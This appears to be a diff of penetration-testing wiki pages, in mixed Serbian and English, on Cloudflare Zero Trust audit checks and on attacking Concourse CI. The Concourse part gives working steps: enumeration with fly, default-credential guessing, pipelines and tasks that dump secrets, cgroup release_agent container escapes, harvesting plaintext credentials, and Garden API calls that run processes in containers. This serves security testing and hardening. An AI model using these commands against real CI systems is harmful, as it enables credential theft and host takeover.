- [ ] Kolačići bi trebali imati **Strict Same-Site** atribut, **HTTP Only** i **binding cookie** bi trebao biti **omogućen** ako je aplikacija HTTP.
- [ ] Razmotrite omogućavanje **Browser rendering** za bolju **zaštitu. Više informacija o** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
- [ ] Check the **available identity providers** and make sure they **aren't too open**
- [ ] In **`Settings`**:
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
#### **Access Groups**
- [ ] Proverite da su grupe za pristup generisane **ispravno ograničene** na korisnike kojima bi trebale omogućiti pristup.
- [ ] Posebno je važno proveriti da **podrazumevana grupa za pristup nije previše otvorena** (ne **dozvoljava previše ljudi**) jer po **podrazumevanoj** postavci svako u toj **grupi** će moći da **pristupi aplikacijama**.
- Imajte na umu da je moguće dati **pristup** **SVIMA** i druge **veoma otvorene politike** koje nisu preporučene osim ako nisu 100% neophodne.
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
#### Service Auth
- [ ] Proverite da svi tokeni usluga **isteknu za 1 godinu ili manje**
- [ ] Check that all service tokens **expires in 1 year or less**
#### Tunnels
@@ -50,12 +50,15 @@ TODO
### Logs
- [ ] Možete tražiti **neočekivane akcije** od korisnika
- [ ] You could search for **unexpected actions** from users
### Settings
- [ ] Proverite **tip plana**
- [ ] Moguće je videti **ime vlasnika kreditne kartice**, **poslednje 4 cifre**, **datum isteka** i **adresu**
- [ ] Preporučuje se **dodavanje isteka korisničkog mesta** kako bi se uklonili korisnici koji zaista ne koriste ovu uslugu
- [ ] Check the **plan type**
- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Osnovne informacije
## Basic Information
Concourse vam omogućava da **pravite pipeline-e** za automatsko pokretanje testova, akcija i izgradnju slika kada god vam zatreba (na osnovu vremena, kada se nešto dogodi...)
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
## Arhitektura Concourse-a
## Concourse Architecture
Saznajte kako je okruženje concourse-a strukturirano u:
Learn how the concourse environment is structured in:
{{#ref}}
concourse-architecture.md
@@ -16,18 +16,21 @@ concourse-architecture.md
## Concourse Lab
Saznajte kako možete pokrenuti concourse okruženje lokalno da biste uradili svoje testove u:
Learn how you can run a concourse environment locally to do your own tests in:
{{#ref}}
concourse-lab-creation.md
{{#endref}}
## Enumeracija i napad na Concourse
## Enumerate & Attack Concourse
Saznajte kako možete enumerisati concourse okruženje i zloupotrebiti ga u:
Learn how you can enumerate the concourse environment and abuse it in:
{{#ref}}
concourse-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,6 +4,8 @@
## Concourse Architecture
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
### Architecture
@@ -12,27 +14,29 @@
#### ATC: web UI & build scheduler
ATC je srce Concourse-a. Pokreće **web UI i API** i odgovoran je za sve **planiranje** pipeline-a. **Povezuje se sa PostgreSQL**, koji koristi za skladištenje podataka o pipeline-u (uključujući logove gradnje).
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
Odgovornost [checker-a](https://concourse-ci.org/checker.html) je da kontinuirano proverava nove verzije resursa. [Scheduler](https://concourse-ci.org/scheduler.html) je odgovoran za planiranje gradnji za posao, a [build tracker](https://concourse-ci.org/build-tracker.html) je odgovoran za pokretanje bilo kojih planiranih gradnji. [Garbage collector](https://concourse-ci.org/garbage-collector.html) je mehanizam za čišćenje koji uklanja sve neiskorišćene ili zastarele objekte, kao što su kontejneri i volumeni.
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
#### TSA: worker registration & forwarding
TSA je **prilagođeni SSH server** koji se koristi isključivo za sigurno **registraciju** [**radnika**](https://concourse-ci.org/internals.html#architecture-worker) sa [ATC](https://concourse-ci.org/internals.html#component-atc).
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
TSA po **default-u sluša na portu `2222`**, i obično je smeštena zajedno sa [ATC](https://concourse-ci.org/internals.html#component-atc) i iza load balancera.
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
**TSA implementira CLI preko SSH veze,** podržavajući [**ove komande**](https://concourse-ci.org/internals.html#component-tsa).
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
#### Workers
Da bi izvršio zadatke, Concourse mora imati neke radnike. Ovi radnici **registruju sebe** putem [TSA](https://concourse-ci.org/internals.html#component-tsa) i pokreću usluge [**Garden**](https://github.com/cloudfoundry-incubator/garden) i [**Baggageclaim**](https://github.com/concourse/baggageclaim).
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
- **Garden**: Ovo je **Container Manage API**, obično se pokreće na **portu 7777** putem **HTTP**.
- **Baggageclaim**: Ovo je **Volume Management API**, obično se pokreće na **portu 7788** putem **HTTP**.
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
## References
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -8,202 +8,213 @@
### User Roles & Permissions
Concourse dolazi sa pet uloga:
Concourse comes with five roles:
- _Concourse_ **Admin**: Ova uloga se dodeljuje samo vlasnicima **glavnog tima** (podrazumevani inicijalni concourse tim). Admini mogu **konfigurisati druge timove** (npr.: `fly set-team`, `fly destroy-team`...). Dozvole ove uloge ne mogu biti pogođene RBAC-om.
- **owner**: Vlasnici tima mogu **modifikovati sve unutar tima**.
- **member**: Članovi tima mogu **čitati i pisati** unutar **sredstava tima** ali ne mogu modifikovati postavke tima.
- **pipeline-operator**: Operatori pipeline-a mogu izvoditi **operacije pipeline-a** kao što su pokretanje gradnji i pinovanje resursa, međutim ne mogu ažurirati konfiguracije pipeline-a.
- **viewer**: Gledaoci tima imaju **"samo za čitanje"** pristup timu i njegovim pipeline-ima.
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
- **owner**: Team owners can **modify everything within the team**.
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
> [!NOTE]
> Pored toga, **dozvole uloga owner, member, pipeline-operator i viewer mogu biti modifikovane** konfigurišući RBAC (konfigurišući preciznije njegove akcije). Pročitajte više o tome na: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
Napomena da Concourse **grupiše pipeline-e unutar timova**. Stoga korisnici koji pripadaju timu mogu upravljati tim pipeline-ima i **several Teams** može postojati. Korisnik može pripadati više timovima i imati različite dozvole unutar svakog od njih.
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
### Vars & Credential Manager
U YAML konfiguracijama možete konfigurisati vrednosti koristeći sintaksu `((_source-name_:_secret-path_._secret-field_))`.\
[Iz dokumenata:](https://concourse-ci.org/vars.html#var-syntax) **source-name je opcionalan**, i ako se izostavi, koristiće se [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), ili se vrednost može pružiti [statički](https://concourse-ci.org/vars.html#static-vars).\
**Opcionalni \_secret-field**\_ specificira polje na preuzetom tajnom podatku koje treba pročitati. Ako se izostavi, menadžer kredencijala može odlučiti da pročita 'podrazumevano polje' iz preuzetog kredencijala ako polje postoji.\
Pored toga, _**secret-path**_ i _**secret-field**_ mogu biti okruženi dvostrukim navodnicima `"..."` ako **sadrže specijalne karaktere** kao što su `.` i `:`. Na primer, `((source:"my.secret"."field:1"))` će postaviti _secret-path_ na `my.secret` i _secret-field_ na `field:1`.
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
#### Static Vars
Statičke varijable mogu biti specificirane u **koracima zadataka**:
Static vars can be specified in **tasks steps**:
```yaml
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
Or koristeći sledeće `fly` **argumente**:
- `-v` ili `--var` `NAME=VALUE` postavlja string `VALUE` kao vrednost za var `NAME`.
- `-y` ili `--yaml-var` `NAME=VALUE` parsira `VALUE` kao YAML i postavlja ga kao vrednost za var `NAME`.
- `-i` ili `--instance-var` `NAME=VALUE` parsira `VALUE` kao YAML i postavlja ga kao vrednost za instancu var `NAME`. Pogledajte [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) da biste saznali više o instanca var.
- `-l` ili `--load-vars-from` `FILE` učitava `FILE`, YAML dokument koji sadrži mapiranje imena var na vrednosti, i postavlja ih sve.
Or using the following `fly` **arguments**:
#### Upravljanje akreditivima
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
Postoje različiti načini na koje se **Upravljač akreditivima može specificirati** u pipeline-u, pročitajte kako u [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Pored toga, Concourse podržava različite upravljače akreditivima:
#### Credential Management
- [Upravljač akreditivima Vault](https://concourse-ci.org/vault-credential-manager.html)
- [Upravljač akreditivima CredHub](https://concourse-ci.org/credhub-credential-manager.html)
- [Upravljač akreditivima AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
- [Upravljač akreditivima AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
- [Upravljač akreditivima Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
- [Upravljač akreditivima Conjur](https://concourse-ci.org/conjur-credential-manager.html)
- [Keširanje akreditiva](https://concourse-ci.org/creds-caching.html)
- [Redigovanje akreditiva](https://concourse-ci.org/creds-redacting.html)
- [Ponovno pokušavanje neuspešnih preuzimanja](https://concourse-ci.org/creds-retry-logic.html)
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Moreover, Concourse supports different credential managers:
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
- [Caching credentials](https://concourse-ci.org/creds-caching.html)
- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
> Imajte na umu da ako imate neku vrstu **pristupa za pisanje u Concourse** možete kreirati poslove za **ekstrakciju tih tajni** jer Concourse mora imati mogućnost pristupa njima.
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
### Concourse Enumeracija
### Concourse Enumeration
Da biste enumerisali Concourse okruženje, prvo morate **prikupiti važeće akreditive** ili pronaći **autentifikovani token**, verovatno u `.flyrc` konfiguracionom fajlu.
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
#### Prijava i trenutni korisnik enum
#### Login and Current User enum
- Da biste se prijavili, morate znati **endpoint**, **ime tima** (podrazumevano je `main`) i **tim kojem korisnik pripada**:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Dobijte konfigurirane **ciljeve**:
- `fly targets`
- Proverite da li je konfigurisana **veza sa ciljem** još uvek **važeća**:
- `fly -t <target> status`
- Dobijte **ulogu** korisnika u odnosu na navedeni cilj:
- `fly -t <target> userinfo`
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Get configured **targets**:
- `fly targets`
- Get if the configured **target connection** is still **valid**:
- `fly -t <target> status`
- Get **role** of the user against the indicated target:
- `fly -t <target> userinfo`
> [!NOTE]
> Imajte na umu da je **API token** **sačuvan** u `$HOME/.flyrc` podrazumevano, dok lootujete mašine, mogli biste tamo pronaći akreditive.
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
#### Timovi i korisnici
#### Teams & Users
- Dobijte listu timova
- `fly -t <target> teams`
- Dobijte uloge unutar tima
- `fly -t <target> get-team -n <team-name>`
- Dobijte listu korisnika
- `fly -t <target> active-users`
- Get a list of the Teams
- `fly -t <target> teams`
- Get roles inside team
- `fly -t <target> get-team -n <team-name>`
- Get a list of users
- `fly -t <target> active-users`
#### Pipeline
#### Pipelines
- **List** pipelines:
- `fly -t <target> pipelines -a`
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Get all pipeline **config declared vars**
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
- **Lista** pipeline-a:
- `fly -t <target> pipelines -a`
- **Dobijte** pipeline yaml (**osetljive informacije** mogu se naći u definiciji):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Dobijte sve **konfiguracione varijable** deklarisane u pipeline-u
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Dobijte sve **nazive tajnih pipeline-a** koji se koriste (ako možete kreirati/modifikovati posao ili preuzeti kontejner, mogli biste ih ekstraktovati):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
#### Kontejneri i Radnici
- Lista **radnika**:
- `fly -t <target> workers`
- Lista **kontejnera**:
- `fly -t <target> containers`
- Lista **buildova** (da vidite šta se izvršava):
- `fly -t <target> builds`
#### Containers & Workers
### Concourse Napadi
- List **workers**:
- `fly -t <target> workers`
- List **containers**:
- `fly -t <target> containers`
- List **builds** (to see what is running):
- `fly -t <target> builds`
#### Brute-Force Akreditivi
### Concourse Attacks
#### Credentials Brute-Force
- admin:admin
- test:test
#### Enumeracija Tajni i Parametara
#### Secrets and params enumeration
U prethodnom odeljku smo videli kako možete **dobiti sve nazive i varijable tajni** koje koristi pipeline. **Varijable mogu sadržati osetljive informacije** i naziv **tajni će biti koristan kasnije za pokušaj krađe**.
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
#### Sesija unutar pokrenutog ili nedavno pokrenutog kontejnera
#### Session inside running or recently run container
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
Ako imate dovoljno privilegija (**član ulogu ili više**) moći ćete da **listaš pipelines i uloge** i jednostavno dobijete **sesiju unutar** `<pipeline>/<job>` **kontejnera** koristeći:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
Sa ovim dozvolama možda ćete moći da:
- **Uk盗ite tajne** unutar **kontejnera**
- Pokušate da **pobegnete** na čvor
- Enumerišete/Iskoristite **cloud metadata** endpoint (iz poda i sa čvora, ako je moguće)
With these permissions you might be able to:
#### Kreiranje/Modifikacija Pipeline-a
- **Steal the secrets** inside the **container**
- Try to **escape** to the node
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
#### Pipeline Creation/Modification
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
Ako imate dovoljno privilegija (**član ulogu ili više**) moći ćete da **kreirate/modifikujete nove pipeline-ove.** Pogledajte ovaj primer:
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
Sa **modifikacijom/kreiranjem** novog pipeline-a moći ćete da:
- **Uk盗** tajne (putem njihovog ispisivanja ili ulaskom u kontejner i pokretanjem `env`)
- **Pobegnete** na **čvor** (dajući vam dovoljno privilegija - `privileged: true`)
- Enumerirate/Iskoristite **cloud metadata** endpoint (iz poda i sa čvora)
- **Obrišete** kreirani pipeline
With the **modification/creation** of a new pipeline you will be able to:
#### Izvršite Prilagođeni Zadatak
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
- **Delete** created pipeline
#### Execute Custom Task
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
Ovo je slično prethodnoj metodi, ali umesto modifikacije/kreiranja celog novog pipeline-a, možete **samo izvršiti prilagođeni zadatak** (što će verovatno biti mnogo **diskretnije**):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
SUPER_SECRET: ((super.secret))
```
```bash
fly -t tutorial execute --privileged --config task_config.yml
```
#### Bekstvo na čvor iz privilegovane zadatke
U prethodnim sekcijama smo videli kako da **izvršimo privilegovanu zadatak sa concourse**. Ovo neće dati kontejneru potpuno isti pristup kao privilegovana oznaka u docker kontejneru. Na primer, nećete videti uređaj datoteke čvora u /dev, tako da bi bekstvo moglo biti "kompleksnije".
#### Escaping to the node from privileged task
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
In the following PoC we are going to use the release_agent to escape with some small modifications:
U sledećem PoC-u ćemo koristiti release_agent da bismo pobegli sa nekim malim izmenama:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -261,12 +272,14 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
> [!WARNING]
> Kao što ste možda primetili, ovo je samo [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) samo modifikovanjem putanje cmd-a u čvoru
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
#### Bekstvo do čvora iz Worker kontejnera
#### Escaping to the node from a Worker container
A regular release_agent escape with a minor modification is enough for this:
Regularan release_agent escape sa manjom modifikacijom je dovoljan za ovo:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -293,11 +306,13 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
#### Bekstvo na čvor iz Web kontejnera
Čak i ako web kontejner ima neke odbrane onemogućene, **ne radi kao uobičajen privilegovan kontejner** (na primer, **ne možete** **montirati** i **kapaciteti** su veoma **ograničeni**, tako da su svi laki načini za bekstvo iz kontejnera beskorisni).
#### Escaping to the node from the Web container
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
However, it stores **local credentials in clear text**:
Međutim, čuva **lokalne akreditive u čistom tekstu**:
```bash
cat /concourse-auth/local-users
test:test
@@ -306,9 +321,11 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
Možete koristiti te kredencijale da **se prijavite na veb server** i **napravite privilegovanu kontejner i pobegnete na čvor**.
U okruženju takođe možete pronaći informacije za **pristup postgresql** instanci koju koristi concourse (adresa, **korisničko ime**, **lozinka** i baza podataka među ostalim informacijama):
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -329,35 +346,39 @@ select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
#### Zloupotreba Garden Service - Nije pravi napad
#### Abusing Garden Service - Not a real Attack
> [!WARNING]
> Ovo su samo neke zanimljive beleške o servisu, ali pošto sluša samo na localhost-u, ove beleške neće imati nikakav uticaj koji već nismo iskoristili ranije.
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
Podrazumevano, svaki concourse radnik će pokretati [**Garden**](https://github.com/cloudfoundry/garden) servis na portu 7777. Ovaj servis koristi Web master da označi radniku **šta treba da izvrši** (preuzmi sliku i pokreni svaku zadatak). Ovo zvuči prilično dobro za napadača, ali postoje neka dobra zaštita:
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
- On je samo **izložen lokalno** (127..0.0.1) i mislim da kada se radnik autentifikuje prema Web-u sa posebnim SSH servisom, stvara se tunel tako da web server može **da komunicira sa svakim Garden servisom** unutar svakog radnika.
- Web server **prati pokretne kontejnere svake nekoliko sekundi**, i **neočekivani** kontejneri se **brišu**. Dakle, ako želite da **pokrenete prilagođeni kontejner**, morate da **manipulišete** sa **komunikacijom** između web servera i garden servisa.
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
Concourse workers run with high container privileges:
Concourse radnici rade sa visokim privilegijama kontejnera:
```
Container Runtime: docker
Has Namespaces:
pid: true
user: false
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
Međutim, tehnike poput **montiranja** /dev uređaja čvora ili release_agent **neće raditi** (jer pravi uređaj sa datotečnim sistemom čvora nije dostupan, samo virtuelni). Ne možemo pristupiti procesima čvora, pa je bekstvo iz čvora bez kernel eksploatacija komplikovano.
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
> [!NOTE]
> U prethodnoj sekciji smo videli kako da pobegnemo iz privilegovanog kontejnera, tako da ako možemo **izvršiti** komande u **privilegovanom kontejneru** koji je kreirao **trenutni** **radnik**, mogli bismo **pobegnuti na čvor**.
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
Imajte na umu da sam igrajući se sa concourse-om primetio da kada se novi kontejner pokrene da bi nešto izvršio, procesi kontejnera su dostupni iz radnog kontejnera, tako da je to kao kontejner koji stvara novi kontejner unutar sebe.
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
**Getting inside a running privileged container**
**Ulazak u pokrenuti privilegovani kontejner**
```bash
# Get current container
curl 127.0.0.1:7777/containers
@@ -370,26 +391,30 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
**Kreiranje novog privilegovanog kontejnera**
Možete vrlo lako kreirati novi kontejner (samo pokrenite nasumični UID) i izvršiti nešto na njemu:
**Creating a new privileged container**
You can very easily create a new container (just run a random UID) and execute something on it:
```bash
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
